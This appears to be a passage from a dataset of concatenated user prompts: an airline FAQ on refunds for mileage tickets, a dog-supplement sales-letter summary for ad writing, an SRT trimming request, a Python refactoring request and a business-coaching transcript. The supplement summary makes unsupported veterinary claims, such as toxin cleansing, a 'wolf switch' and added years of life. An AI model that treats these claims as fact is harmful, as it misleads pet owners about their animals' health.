of a ticket originally paid for with miles, the FOP for the reissue must be deleted before attempting another reissue. Why is this so?\nA. MARMs will return an approval code for all reissue ticket and this approval code is appended into the FOP field. When the reissue ticket is voided, a void message is sent to MARMs and the approval code will be invalidated by MARMS. Hence, if the FOP is not deleted, Altea will use the same approval code to issue the new ticket and this new ticket number will not be updated by MARMS. Subsequent servicing such as reissue or refund will fail since MARMS has no record of this new ticket.\nQ. Why is voiding the refund of a ticket originally paid for with miles not allowed even when sales report is not closed yet?\nA. Like a redemption ticket, Altea does not send any void message to MARMs for voiding of a refund record for tickets originally paid with miles. Hence, MARMs will not be aware that the refund is voided and subsequent attempt to refund the ET will fail.\nQ. How can members submit their tickets paid for with miles for refund?\nA. Members can either submit their tickets for refund on SAA or they may contact their nearest SIA office to do so. For tickets submitted for refund offline, these tickets must be refunded by the original issue station. \nQ. Why must refund of tickets, which has been paid with miles, always be refunded by original issue station?\nA. If refund is done by a different station, BBR will be used to convert refundable amount to the refund station currency. However, MARMS only stores IATA exchange rate. Hence, there is a possibility that the converted amount using BBR may be higher that the converted rate by MARMS, thus resulting in refund failure. \nQ. For tickets paid for with miles, cover refund is permitted for a flown ticket but not an already refunded ticket. Why is this so?\nA. Altea will make a call to MARMs for all refund of tickets which has been paid for with miles. MARMs will have a record that the ticket is already refunded, hence further refund will not be allowed. MARMS has no record that the ticket is flown, hence cover refund is still allowed for flown ticket.\nQ. Zero refund is not allowed for tickets paid for with miles. Why is this so?\nA. MARMS expects to receive the FOP details for tickets paid for with miles in the refund message from Altea. However, there is no FOP for zero refund, hence zero refund is not allowed for ticket, which has been paid with miles. For reissue of tickets paid for with miles, only cash is allowed if additional fare is required. Why is FQTR still a mandatory element for such reissues and also reissue without adc as well? MARMS need the FQTR number from Altea in order to create the MARMs record for the reissue transaction.\nQ. If the member wants to use 100% of the miles for his own ticket only, can he select "Not a nominee" in the passenger details and manually type in his RGN\'s details?\nA. The logic for accruals has been defaulted to always favour the principal member. The principal member will always accrue full miles before the nominee (also a KF member) accrues any miles. In the event the principal member would like to use miles to pay for his own ticket and not his nominee, he may choose not to select his nominee from the dropdown list. Instead, he could choose \'Not a nominee\' and enter the 2nd pax details manually, he will not be able to use miles for this 2nd pax. In this case, the principal member will get either partial/no accrual while pax 2 will get full accrual. \nQ. Why a residual value eMD, that is issued against a ticket paid for with miles, cannot be reissued into another ET or eMD? \nA. Such reissue is not in scope for phase 1. MARMs will return an error message to Altea and reissue will fail. Hence, the eMD must be submitted for refund. This will be reviewed by LMD in phase 2.' +'So we want to make youtube video ads that will drive clicks to a landing page that in turn will drive clicks to a Video Sales Letter (VSL). Here is a summary of the VSL for this new product. As you can see it is different to the others which were for humans, this is to appeal to the owners of dogs:\nResearch has revealed that dogs living in poorer countries are healthier and live longer than those with access to pet food, as pet food is often low quality and filled with unhealthy ingredients. This leads to an increase in health problems such as cancers, joint problems, and digestive discomfort. Pet owners can counter this by providing their dogs with essential nutrients, which can be found in the kitchen and are similar to what a wild dog would eat.\nNutrients have been known to reverse the harm done to pets and add years to their life expectancy. These nutrients, known as the "wolf switch", activate the pet\'s natural ability to purify their body and transform their blood circulation and nutrient absorption. They have become famous in high end clinics and are used to clean out built up toxins and erase hidden pain. People have reported increased energy, better joint lubrication, improved digestion, and no discomfort in their pet\'s bodies. Testimonies from pet owners have reported seeing their pets feeling happier and more energetic. James Thomas has dedicated his life to rescuing endangered animals, having helped save more than 132 lions, 29 rare Indian elephants, and 4 polar bears.\nA traveling circus brought in Rafiki, an animal who was barely able to stand and wouldn\'t eat. After 5 months of fighting to save him, he was released into Etosha National Park in Namibia. 13 years later, the narrator still visits Rafiki and is proud of their own pet, Rex, a 9 year old German Shepherd who has traveled the world with them. Rex has saved the narrator\'s life multiple times and is as intelligent as a person. When Rex fell ill on a trip to Thailand, the narrator took him to the vet, but all the vets dismissed the concerns and recommended expensive procedures and tests. After visiting 4 vets, the narrator had racked up bills of $4,300 with no results. They finally decided to visit an older vet in the area and the narrator wonders if staying home and not traveling is affecting Rex.\nJoe, an 85-year-old animal lover, gave advice to a specialist working with dogs about how to help Rex. Joe suggested that people have become too used to treating their dogs like family, forgetting they are wolves and should be fed with meat and allowed to run around. Recent studies showed that stray dogs in terrible conditions live longer than well-cared-for dogs, which got the specialist thinking. Joe said the problem was the quality of the food, and after months of research, the specialist found that pet food often contains hidden hormones and unhealthy ingredients like vegetable oil, soy, and grains. Pet food companies have had to pay settlements when their food was found to be unhealthy or deadly.\nMultiple pet food companies have been found to be in violation of their "True Blue Promise" of using natural ingredients and have settled lawsuits for millions of dollars. In addition, pet food is often cooked at extreme temperatures to increase shelf life, creating AGEs which can lead to chronic diseases and weight gain in pets. 56% of dogs in the US are overweight or obese, and many pet owners are unaware that their pets are overweight. This problem is known as the "fat pet gap" and can have serious health consequences for pets.\nCarol Osborne, an integrative veterinarian, warns that being just 10% overweight decreases a dog’s lifespan by one-third. Companies use overweight dogs in commercials, making it difficult to recognize what healthy dogs look like. Poor pet nutrition is to blame for this decrease in pet lifespan, as the USDA and FDA do not regulate pet food quality. Veterinarians are taught little about pet nutrition, and what they do learn comes from pet food companies. This has caused many pets to suffer in silence due to the poor quality of their food. To find a solution, the author reached out to Dr. Montgomery, an expert in canids, to help improve pet nutrition.\nA specialist was hired to take care of expensive dog breeds for Russian oligarchs and Arab princes. The dogs were fed fresh game and carefully calculated nutrients to keep their bodies in prime condition. The author wanted to find a solution that was just as good, but easier, and was sent research papers by the specialist. The author discovered that feeding dogs rich broth from the bones of chickens and cows was a good solution, but something more powerful was needed to clear out toxins. Burdock root was chosen as it is traditionally used for soothing the kidneys, as a blood purifier, relieving the lymphatic system, rheumatism, stomach ailments, and skin and fur problems. It is also used to boost liver function, fight infections, bacteria and allergies, and improve skin health.\nThis text discusses two roots that can be used to improve the skin, thyroid health, adrenal function, cortisol levels, and insulin sensitivity of dogs. Ashwagandha is a hormonal detoxifier, while ginseng is rich in ginsenosides which can help dogs lose weight. Astragalus root is an adaptogen which can help with kidney infection and DNA repair. Finally, dandelion root is a plant food which can remove toxins from the bloodstream and improve digestion.\nDandelions are a powerful and healthy root, especially the species that grows in mountainous regions of Uzbekistan and Kazakhstan. Curcumin and MCT oil help reduce swelling and inflammation associated with arthritis in pets, while Equisetum and bovine collagen help with bone density and joint health. A mix of these ingredients, known as primal nutrients, can help maintain a pet\'s natural health. Chicken bone broth is a delicious treat for pets, but it must be pet-safe to avoid potential harm.\nA person created a solution of primal nutrients mixed with chicken bone broth to help their dog, Rex, regain health and strength. They sourced only the best ingredients and tested it with Joe, their vet. After a week, they saw a huge improvement in their dog and decided to share the primal nutrients treatment with other dog owners. After a few weeks, dozens of messages came in from grateful pet owners saying their dogs were looking healthier and had more energy. The improvements were visible in digestion, teeth health, joint inflammation, and more.\nUltraK9 Pro is a complete treatment for dog health and longevity that can help clear a dog\'s body of extra weight, strengthen their liver, kidneys and thyroid, reduce inflammation and aches in joints and tendons, and add years to their life. It has been seen to work wonders for dogs of all ages and sizes, with many owners seeing improvements in their pet\'s coat, energy levels, digestion and overall health in as little as a couple of weeks.\nUltraK9 Pro is a primal nutrients treatment for dogs that helps to clean their bodies of toxins, hormones, preservatives, allergenic grains, and AGEs. It is made in the United States with quality assurance teams to make sure each batch has the right amounts of each ingredient. Results can be seen within 6 months to a year, and the treatment should be given at least every day for the first few months. It can be added to any store bought or home-made meal and the dropper provided makes it easy to measure the correct amount. Quality control is paramount and this product can only be found on this website.\nA person created a primal nutrients treatment for dogs that costs as low as $1.50 a day and contains vital nutrients that are not found in wet dog food. The person was able to negotiate with suppliers to reduce the cost of the treatment and provides two bonus books for free with the small and big boy packages. The books contain secrets from top rated pet experts, dog trainers, and race dog groomers about how to keep a dog\'s mane and teeth in perfect condition.\nUltraK9 Pro is a package that helps improve a dog\'s health and wellbeing. It includes a liquid to never feed a dog, a guide to form the best team with your dog, and a bottle of primal nutrients treatment. It also includes a 60-day money back guarantee and free shipping for certain packages. The package is available only on this website and can save thousands in vet and lab costs.\nUltraK9 Pro is a special formula of primal nutrients designed to help keep dogs\' livers, kidneys, thyroids, joints, tendons, and teeth in prime condition. It can help to reduce inflammation, clear the body of toxins, and add years to a dog\'s life. It comes with free shipping, a 60-day money-back guarantee, and two top value guides. Primal nutrients are important for dogs as they can help to strengthen their bodies and fight against unnatural elements that can cause pain and suffering.\nUltraK9 Pro is a special nutrient that activates the "wolf switch" in dogs, allowing them to become healthier and more energetic. It can be added to any type of meal and is said to be very tasty. Benefits include improved digestion, teeth health, and joint inflammation, and results can be seen in as little as a week. It is covered by a 60 day money back guarantee and comes with two bonus books.' +"可以幫我用下方srt整理出1分鐘的精華片段嗎，用srt排列呈現給我就好\n\n1\n00:00:03,866 --> 00:00:06,466\nhi guys how are you\n\n2\n00:00:12,166 --> 00:00:13,566\nso good to see you guys\n\n3\n00:00:13,566 --> 00:00:15,466\nare you guys having a good night\n\n4\n00:00:21,333 --> 00:00:25,733\nI have to say that it's such an honor to be here\n\n5\n00:00:25,733 --> 00:00:27,966\nit is I'm so happy to be here\n\n6\n00:00:27,966 --> 00:00:30,799\nI'm like a nerd and brought my own speech but\n\n7\n00:00:31,700 --> 00:00:34,533\nI hope it's okay that I take this opportunity to really\n\n8\n00:00:34,533 --> 00:00:36,133\njust spend with you guys\n\n9\n00:00:36,133 --> 00:00:39,066\nand tell you a little bit about my story\n\n10\n00:00:39,500 --> 00:00:41,500\nI'm not an activist\n\n11\n00:00:41,500 --> 00:00:44,266\nI haven't changed the world or let a campaign\n\n12\n00:00:44,566 --> 00:00:45,866\nI'm here to just tell\n\n13\n00:00:47,733 --> 00:00:50,666\nso that you hopefully can take something away from it\n\n14\n00:00:50,666 --> 00:00:54,099\nbecause I don't like being honest with\n\n15\n00:00:54,266 --> 00:00:56,733\nthis is the truth I don't like being honest with\n\n16\n00:00:57,166 --> 00:00:58,966\npress and interviews\n\n17\n00:00:58,966 --> 00:01:01,399\nI like being honest with you directly\n\n18\n00:01:01,400 --> 00:01:03,333\nwhich is each and every one of you\n\n19\n00:01:06,200 --> 00:01:08,133\nbecause I feel like I can and\n\n20\n00:01:08,966 --> 00:01:10,866\nI'm just gonna start with the basics\n\n21\n00:01:10,866 --> 00:01:11,933\nso I'm 21\n\n22\n00:01:12,966 --> 00:01:14,533\nand my mom had\n\n23\n00:01:16,800 --> 00:01:19,166\nmy mom had me when she was 16\n\n24\n00:01:19,733 --> 00:01:21,766\nand I'm from grande Perry Texas\n\n25\n00:01:21,766 --> 00:01:23,966\nand she worked four jobs\n\n26\n00:01:23,966 --> 00:01:26,366\nand completely dedicated her life\n\n27\n00:01:26,800 --> 00:01:28,366\ninto making mine better\n\n28\n00:01:28,733 --> 00:01:32,166\nso to me she is the definition of a strong woman\n\n29\n00:01:32,766 --> 00:01:34,133\nand I love her so much\n\n30\n00:01:34,133 --> 00:01:37,099\nbecause she's taught me those values so much\n\n31\n00:01:38,666 --> 00:01:39,499\nthank you\n\n32\n00:01:41,133 --> 00:01:44,166\nI have been acting my entire life\n\n33\n00:01:44,166 --> 00:01:47,799\nand I have known since I was 1st on barney\n\n34\n00:01:47,800 --> 00:01:50,200\nyou know that purple Dinosaur that I hung out with\n\n35\n00:01:50,900 --> 00:01:53,500\nhe's great you guys are so motivating\n\n36\n00:01:53,500 --> 00:01:55,400\nI feel like I can say anything\n\n37\n00:01:57,966 --> 00:01:58,899\nwhen I was 11\n\n38\n00:01:59,066 --> 00:02:00,599\nthe point being is when I was\n\n39\n00:02:00,733 --> 00:02:02,699\n7 I wanted to be an actress\n\n40\n00:02:02,766 --> 00:02:04,733\nand I wanted to live my dream\n\n41\n00:02:05,200 --> 00:02:06,266\nand when I was 11\n\n42\n00:02:06,266 --> 00:02:09,166\nI had a casting director tell me that I wasn't strong\n\n43\n00:02:09,166 --> 00:02:10,799\nenough to carry my own show\n\n44\n00:02:11,333 --> 00:02:12,133\nI end\n\n45\n00:02:12,900 --> 00:02:15,266\nI'm sure all of you have been told that\n\n46\n00:02:15,266 --> 00:02:16,599\nyou don't have what it takes\n\n47\n00:02:16,600 --> 00:02:18,000\nand that you may not be good enough\n\n48\n00:02:18,000 --> 00:02:20,100\nand you don't have enough people supporting you\n\n49\n00:02:20,133 --> 00:02:22,333\nand you're being told all of these things when\n\n50\n00:02:22,333 --> 00:02:23,933\ndeep down it's all you wanna do\n\n51\n00:02:23,933 --> 00:02:25,766\nyou wanna be a part of something great\n\n52\n00:02:25,766 --> 00:02:27,466\nyou wanna make something great\n\n53\n00:02:28,133 --> 00:02:30,466\nand it does more than knock the wind out of you\n\n54\n00:02:30,466 --> 00:02:32,399\nit crushes you when people try\n\n55\n00:02:32,466 --> 00:02:34,366\nto tell you that you're not good enough\n\n56\n00:02:35,000 --> 00:02:36,466\nand it almost did for me\n\n57\n00:02:36,466 --> 00:02:40,399\nbut there was my mom next to me stronger than ever\n\n58\n00:02:40,400 --> 00:02:42,866\nand she said the most important thing\n\n59\n00:02:43,400 --> 00:02:45,866\nis to always trust in myself\n\n60\n00:02:46,000 --> 00:02:49,866\nif I have if I'm doing something because I love it\n\n61\n00:02:50,166 --> 00:02:51,933\nI should do it because I love it\n\n62\n00:02:51,933 --> 00:02:53,666\nand I believe I can do it\n\n63\n00:02:54,466 --> 00:02:56,566\nso she told me to keep going\n\n64\n00:02:57,100 --> 00:02:57,900\nthank you\n\n65\n00:02:59,933 --> 00:03:03,699\nshe told me and she taught me to turn the other cheek\n\n66\n00:03:03,966 --> 00:03:07,533\nand let the credits earn let the critics be critics\n\n67\n00:03:07,800 --> 00:03:12,133\nand let us just trust ourselves so for me\n\n68\n00:03:13,066 --> 00:03:13,866\nthank you\n\n69\n00:03:14,566 --> 00:03:17,099\ntwo years later I got my own show\n\n70\n00:03:17,366 --> 00:03:19,133\nand the 1st thought\n\n71\n00:03:19,166 --> 00:03:21,333\nthe 1st thought wasn't oh man\n\n72\n00:03:21,333 --> 00:03:22,866\nthat girl when I was 11\n\n73\n00:03:22,866 --> 00:03:24,766\nsaid I wouldn't carry my own show\n\n74\n00:03:25,366 --> 00:03:27,933\nand I did I mean I thought about that for a little bit\n\n75\n00:03:27,933 --> 00:03:29,466\nbut I thought about what my mom said\n\n76\n00:03:29,466 --> 00:03:31,333\nmy mom was like you have to trust yourself\n\n77\n00:03:31,333 --> 00:03:34,266\nand I realized if I didn't believe that I could do it\n\n78\n00:03:34,733 --> 00:03:37,299\nI wouldn't be able to be here\n\n79\n00:03:37,466 --> 00:03:38,966\nand I have I'm gonna\n\n80\n00:03:38,966 --> 00:03:41,166\nI'm gonna say I live a very blessed life\n\n81\n00:03:41,166 --> 00:03:44,266\nI have so much to be thankful for\n\n82\n00:03:44,266 --> 00:03:47,399\nand a lot of you are a big part of inspiring me\n\n83\n00:03:47,400 --> 00:03:48,733\nbecause I don't think you get it\n\n84\n00:03:48,733 --> 00:03:50,466\nand maybe you're not told enough\n\n85\n00:03:51,100 --> 00:03:53,366\nbut you inspire me to be better\n\n86\n00:03:53,966 --> 00:03:56,699\nand we should inspire each other to be better\n\n87\n00:04:04,133 --> 00:04:07,766\nI'm surrounded by people who are supposed to guide me\n\n88\n00:04:07,766 --> 00:04:09,333\nand some of them have\n\n89\n00:04:09,666 --> 00:04:10,966\nand others haven't\n\n90\n00:04:11,566 --> 00:04:12,499\nthey pressure me\n\n91\n00:04:12,500 --> 00:04:13,800\nthere's so much pressure\n\n92\n00:04:13,800 --> 00:04:17,266\nyou gotta be sexy you gotta be cute you gotta be nice\n\n93\n00:04:17,266 --> 00:04:19,099\nyou gotta be all these things\n\n94\n00:04:20,933 --> 00:04:22,466\nand I'm sure you can all relate\n\n95\n00:04:22,466 --> 00:04:24,866\nyou all have pressure that you have to deal with\n\n96\n00:04:24,866 --> 00:04:26,499\nevery day I'm sure\n\n97\n00:04:26,500 --> 00:04:27,566\nwith school with work\n\n98\n00:04:27,566 --> 00:04:29,599\nwith friends with parents with family\n\n99\n00:04:29,600 --> 00:04:32,300\nwith parents I know sometimes with mine\n\n100\n00:04:33,266 --> 00:04:36,333\nthey tell me what to wear how to look\n\n101\n00:04:36,600 --> 00:04:38,766\nwhat I should say how I should be\n\n102\n00:04:39,100 --> 00:04:42,100\nuntil recently I had given into that pressure\n\n103\n00:04:43,366 --> 00:04:45,266\nI lost sight of who I was\n\n104\n00:04:46,466 --> 00:04:49,333\nI listen to opinions of people\n\n105\n00:04:49,766 --> 00:04:52,766\nand I tried to change who I am because I thought\n\n106\n00:04:53,100 --> 00:04:55,200\nthe others would accept me for it\n\n107\n00:04:55,666 --> 00:04:58,366\nand I realized I don't know how to be\n\n108\n00:04:59,000 --> 00:05:00,766\nanything but myself\n\n109\n00:05:07,000 --> 00:05:07,800\nand\n\n110\n00:05:08,133 --> 00:05:10,299\nall I really want you to know\n\n111\n00:05:10,766 --> 00:05:13,066\nis that you are changing the world\n\n112\n00:05:13,066 --> 00:05:14,266\nI'm not changing the world\n\n113\n00:05:14,266 --> 00:05:17,466\nyou're changing the world and that's amazing\n\n114\n00:05:20,500 --> 00:05:21,366\nplease\n\n115\n00:05:22,000 --> 00:05:24,600\nplease just be kind to each other\n\n116\n00:05:25,133 --> 00:05:28,733\nand love and inspire people because let's do it\n\n117\n00:05:28,733 --> 00:05:29,399\nlet's do it\n\n118\n00:05:29,400 --> 00:05:32,266\nlet's change the game let's change the game\n\n119\n00:05:37,100 --> 00:05:40,466\nthe most important thing is that we learn\n\n120\n00:05:40,500 --> 00:05:42,733\nand we continue to learn from each other\n\n121\n00:05:43,200 --> 00:05:44,933\nplease stay true to yourself\n\n122\n00:05:45,100 --> 00:05:47,000\nplease just remain who you are\n\n123\n00:05:47,000 --> 00:05:49,333\nand know that we have each other's back\n\n124\n00:05:49,333 --> 00:05:50,966\nall of us have each other's back\n\n125\n00:05:58,300 --> 00:06:00,133\nI'd be lying if I said that I've never\n\n126\n00:06:00,133 --> 00:06:02,399\ntried to make myself better by giving in\n\n127\n00:06:02,400 --> 00:06:03,500\nbecause I have\n\n128\n00:06:03,533 --> 00:06:05,666\nbut I've Learned from my actions\n\n129\n00:06:06,000 --> 00:06:08,666\nand for all the things I've done I'm proudest of that\n\n130\n00:06:08,733 --> 00:06:10,566\nI've Learned from my mistakes\n\n131\n00:06:11,500 --> 00:06:13,166\nI want you to know what it's like that\n\n132\n00:06:13,166 --> 00:06:14,299\nI know what it's like\n\n133\n00:06:14,733 --> 00:06:16,599\nfiguring out what types of friends you have\n\n134\n00:06:16,600 --> 00:06:19,133\nyou are who you surround yourself with\n\n135\n00:06:20,666 --> 00:06:21,766\nso I just want to say\n\n136\n00:06:21,766 --> 00:06:23,699\nI hope I can inspire each and every\n\n137\n00:06:23,700 --> 00:06:25,533\none of you to just trust yourselves\n\n138\n00:06:25,533 --> 00:06:27,799\nand to love and to be loved\n\n139\n00:06:32,300 --> 00:06:36,000\nand thank you for allowing me to come up and ramble\n\n140\n00:06:36,000 --> 00:06:37,266\nand talk to you guys\n\n141\n00:06:37,266 --> 00:06:40,066\nbecause this is such a beautiful thing you're doing\n\n142\n00:06:40,100 --> 00:06:42,100\nbe proud of yourselves\n\n143\n00:06:42,200 --> 00:06:43,566\nthis is great" +'Rewrite this python code cleanly and to work as a function like the example given afterwards.\nCode to rewrite : \nimport os\nimport sys\nimport imutils\nimport numpy as np\nsys.path.append(os.getcwd() + "/../") #ce truc dégueulasse à été fait par Tim, je ne cautionne pas du tout\nimport main\nimport cv2\n#cali\\_1\nmtx = np.array([[1.19126136e+03, 0.00000000e+00, 9.59240007e+02], [0.00000000e+00, 1.11365936e+03, 5.27377810e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\ndist = np.array([[ 0.11751622, -0.4181012, -0.0034592, 0.0087792, 0.33441168]])\n\n#cali\\_2\n#mtx = np.array([[1.19309855e+03, 0.00000000e+00, 7.84314808e+02], [0.00000000e+00, 1.11766414e+03, 5.62846555e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n#dist = np.array([[ 0.0091465, 0.15736172, -0.0010599, -0.00085758, -0.43462203]])\nwebcam = cv2.VideoCapture(\'trasnslation22s.video\')\n#webcam = cv2.VideoCapture(0, cv2.CAP\\_V4L)\n#img = webcam.read()\nimg = cv2.imread(\'1.jpeg\')\n\nh, w = img.shape[:2]\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_WIDTH, w)\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_HEIGHT, h)\nnewcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (w,h), 1, (w,h))\nwhile True:\n check, frame = webcam.read()\n if check:\n \n # undistort\n dst = cv2.undistort(frame, mtx, dist, None, newcameramtx)\n # crop the image\n x, y, w, h = roi\n frame = dst[y:y+h, x:x+w]\n \n frame = imutils.rotate(frame, 180)\n main.function(frame)\n frame = cv2.resize(frame, (860, 540))\n cv2.imshow(\'video\', frame) \n \n key = cv2.waitKey(1)\n if key==27:\n break\n\nwebcam.release()\ncv2.destroyAllWindows()\n\nExample code :\nimport cv2\nfrom utils import toolkit\nimport numpy as np\nfrom pathlib import Path \nfrom imutils.video import WebcamVideoStream\nfrom imutils import rotate\nfrom rich import print as rprint\nfrom scipy.signal import savgol\\_filter\n\ndef coord\\_tag(dict,id1,id2,size1,size2,conn2=None,filter=False,src\\_=0):\n\n # Load the necessary side functions and matrix for calibration\n tool = toolkit()\n cam\\_mat = tool.mtx\n dist\\_coef = tool.dist\n y1 = 70\n\n # Loading the dictionnary\n marker\\_dict = cv2.aruco.Dictionary\\_get(tool.ARUCO\\_DICT[dict])\n\n # Savitzsky-Golay\'s filter parameters\n y\\_raw\\_value = []\n window\\_size = 11\n sample\\_size = 50\n polynomial\\_order = 2\n\n # Load the video stream\n vs = WebcamVideoStream(src=src\\_).start()\n\n # Create the parameters of the camera\n param\\_markers = cv2.aruco.DetectorParameters\\_create()\n\n # Displayed text parameters\n fontScale = 1.5\n precision = 3\n\n # Program loop \n while True:\n\n # Reading the frame\n frame = vs.read()\n\n # Rotating the image (not important)\n frame =rotate(frame,180)\n\n # Adding a grey filter onto the frame\n gray\\_frame = cv2.cvtColor(frame, cv2.COLOR\\_BGR2GRAY)\n\n # Detect the tags on the image\n corners, ids, \\_ = cv2.aruco.detectMarkers(\n gray\\_frame, \n marker\\_dict,\n parameters=param\\_markers\n )\n\n \n\n try:\n\n # To know which rvec to correspond to which id we make a dictionnary\n # Let\'s flatten the ids array\n ids\\_flat = [ ui[0] for ui in ids]\n\n # Make a dictionnary for ease of use \n ind\\_id = { id: i for (i,id) in enumerate(ids\\_flat) }\n\n # Create two separate lists for the markers with different ids and sizes\n corners1 = corners[ind\\_id[id1]]\n corners2 = corners[ind\\_id[id2]]\n \n \n # If the 2 tags specified have been detected then we enter the main program\n if ([id1] in ids) and ([id2] in ids):\n\n # Estimate the poses of the markers\n rvecs1, tvecs1, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners1,\n size1, \n cam\\_mat,\n dist\\_coef)\n rvecs2, tvecs2, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners2,\n size2, \n cam\\_mat,\n dist\\_coef)\n\n # Compute the homogeneous matrix \n # Normally noglitches can happen here but be careful if there are several \n # reference tags with the same id \n \n # Since there is only one tag per pose estimation we use index 0\n H = tool.Homogeneous(rvecs1[0],tvecs1[0])\n \n # Pass tvec2 as homogenous\n tv = np.array([\n tvecs2[0][0][0],\n tvecs2[0][0][1],\n tvecs2[0][0][2],\n 1])\n\n # Compute the tag 2 coordinates in tag 1 system of coordinates\n Tvec\\_id2\\_ref\\_id1 = np.dot(tv,H)\n Tvec\\_id2\\_ref\\_id1 = Tvec\\_id2\\_ref\\_id1[0:3]/Tvec\\_id2\\_ref\\_id1[3]\n \n # Draw pose of the tags : red = Ox | green = Oy | blue = Oz \n frame = cv2.aruco.drawDetectedMarkers(frame, corners, ids)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs1, tvecs1, 0.1, 1)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs2, tvecs2, 0.1, 1)\n\n # Extracting the bottom right coordinates of Tag 2 to plot text\n corners2 = corners2[0].reshape(4,2)\n corners2 = corners2.astype(int)\n bottom\\_right = corners2[2].ravel()\n\n # Display the newly computed coordinates of Tag 2 \n cv2.putText(\n frame,\n f"x:{round(Tvec\\_id2\\_ref\\_id1[0],precision)} y: {round(Tvec\\_id2\\_ref\\_id1[1],precision)} ",\n bottom\\_right,\n cv2.FONT\\_HERSHEY\\_PLAIN,\n fontScale,\n (255, 0, 255),\n 2,\n cv2.LINE\\_AA,\n )\n\n # Sometimes ids is None and we get a Type error because of len(ids) but osef\n except TypeError as v:\n pass\n except Exception as e:\n rprint("[bold red] {} [/bold red]".format(e))\n pass\n\n # Display the frame\n cv2.imshow("Table", frame) \n key = cv2.waitKey(1)\n \n # Close the frame is "q" is pressed\n if key == ord("q"):\n conn2.send(None)\n break\n\n # Finish the program cleanly\n cv2.destroyAllWindows()\n vs.stop()' +"same for this one:\n\nBusiness Builder Challenge Day 3 - How To Create Residual Income - YouTube\nhttps://www.youtube.com/watch?v=ywMwZzDz4f0\n\nTranscript:\n(00:00) all right you're on day three of the business builder challenge where i give you non-stop actual technical information on how to start your own location independent high margin high income low work alpha 2.0 business in this video i'm going to give you another clip from a business course that i did a little while ago on residual income can you make residual income through an altitudinal business yes but not the way you might think some income is 100 residual some of it is 0 residual but there's other income that\n(00:31) is kind of a percentage maybe 70 percent residual 50 residual and the more income you can create that is partially residual the less you have to work to maintain your lifestyle it's pretty nice take it away myself [Music] okay now we're going to talk about something awesome this is awesome are you ready are you ready for awesomeness i'm ready residual income what does residual income mean well that means money that comes in without you having to work for it so an example would be you have an investment in some kind of\n(01:11) stock or bond or mutual fund or etf and you sit on your ass and you get money every month you have to work really i mean you got to watch it maybe but that's it residual income now there's a lot of confusion about what residual income is in terms of business everyone understands investment income like if you buy a house you pay it off and you sit on your butt and you have a renter who rents it and pays you money every month because it's a paid off house people get that there's a lot of confusion about\n(01:35) residual income when it comes to businesses for example i'll get guys who come to me and say wow you sell ebooks that's residual income you just write a book and you put it online and you sit back the rest of your life and you get free money you have to do any work is that true the answer is yes and no so in terms of business residual income is not a yes or no binary one or zero thing it's a percentage you can have a business that has a percentage residual for example you can have a business where you\n(02:09) do some work but not a lot of work maybe you put in 10 hours a month and it pays you a hunk of money every month that's a lot of money that is a partially residual business not a hundred percent because you got to put in those 10 hours okay so it's partially residual not 100 100 residual would be you buy a bond you buy a bond and the bond pays you a dividend or percentage every year or every month and you do literally no work that's a hundred percent residual zero percent residual would be a corporate job typical job so you have a\n(02:39) job you have to go in and work at your job if you don't go in and work you don't get paid and you get zero money so that is a zero percent residual income source would be your job makes sense so between 100 and 0 you have a range so using again my examples and again this is just an example i'm going to use my examples in terms of the three businesses that i have of what percentage residual they are okay we'll go through each one pretty simple so in terms of computer consulting computer consulting i don't do that anymore you\n(03:07) did a long time ago business consulting what how residual is it if i am performing consulting services so if i'm going into a company and doing work and then they pay me is it residual no it's not residual at all right right right okay at all so this is essentially zero percent residuals but that zero percent now you could argue that maybe it's zero to five actually let's do that let's do zero to five percent you could make the argument and some people in the consulting industry have done this and i don't disagree that you\n(03:41) could charge a retainer which by the way i do for a lot of my clients you could charge a monthly retainer it's a flat fee and many months you don't need to work at all work very little and you'll still get that retainer attorneys do it too so you could argue that maybe it's five percent residual in that maybe you could charge them some money and in a given month they might not call you they could they could at any time and you have to respond or else you'll lose the income so it's still not residual but\n(04:04) you could argue okay zero to five percent residual now why would i do this why would i build this business if it was such a low residual well this is another topic i'm not going to get into in this course about business models in terms of model a model b and model c not going to go into that today but the bottom line to this is consulting is one of the advantages of consulting is that you can make very high income very quickly so i went from pretty much zero when i was 24 years old to a six figure income by the time i was\n(04:34) 27 three years doing consulting because consulting is a very high margin service and we'll talk about that in the next section i can charge a lot of money for my services i don't need a college degree i don't need a special license i don't need to hire employees i don't have any expenses so all the stuff goes into my pocket so consulting is one example of a very zero to the money business that's the good news about this the bad news is that it's not residual if i don't consult i\n(05:02) don't get paid so you're doing a trade-off in some cases depending on the business that you start now is this alpha 2.0 compatible or not doesn't matter residual aspects of your business are completely up to you whether or not you want them or not totally up to you it can be alpha this is alpha 2.\n(05:18) 0 income because i can do this location dependent anywhere in the world i want so it still is compatible with this model it's just not residual but the plus side is i make a lot of money or i can't make sense cool cool now let's go over to black dragon my bd business how much residual factors does this have well let's talk about that for a minute so i sell ebooks the guy who says hey it's ebooks or residual income you write the book and then you sell it you sit back and you get money is he right yes he's partially right\n(05:46) here's a question let's say and i went through all the income streams i had in the bd business in a prior lesson okay let's say starting tomorrow morning i decided to retire now i will never retire i love to work i'll back off my work hours but i will never retire working is awesome i love working working is one of my greatest joys and i have strong goals and strong mistakes so i'm never gonna retire but let's say i got hit in the head with a truck and i woke up and i was a different person i said okay i'm done\n(06:13) i'm not gonna do any more work i'm just gonna go to the bahamas and sit in a hut and watch porn and do that for the rest of my life and do nothing else and i'm not gonna work i'm not gonna check email i'm not gonna write blog posts i'm not gonna make social media posts i'm not gonna talk to my audience if someone calls me i'm gonna ignore it let's say i did that okay in the bd business which generates a lot of money per month it's a very profitable strong business would my\n(06:38) income go from that point to zero would it do that immediately as soon as i went to the bahamas no it would keep going matter of fact the next month i'd probably make the same amount of money and maybe the following month i'd make the same amount of money but would that income maintain if i was completely off the internet vanished off the face of the earth no at some point that income would start sloping downward eventually now it may never go to zero it might go from a very big number to a much smaller number and that smaller\n(07:04) number would maintain in perpetuity so that's residual income in that respect but the income i currently make would not maintain if i wasn't around okay it wouldn't so that is a partially residual business how long would it take for me to do 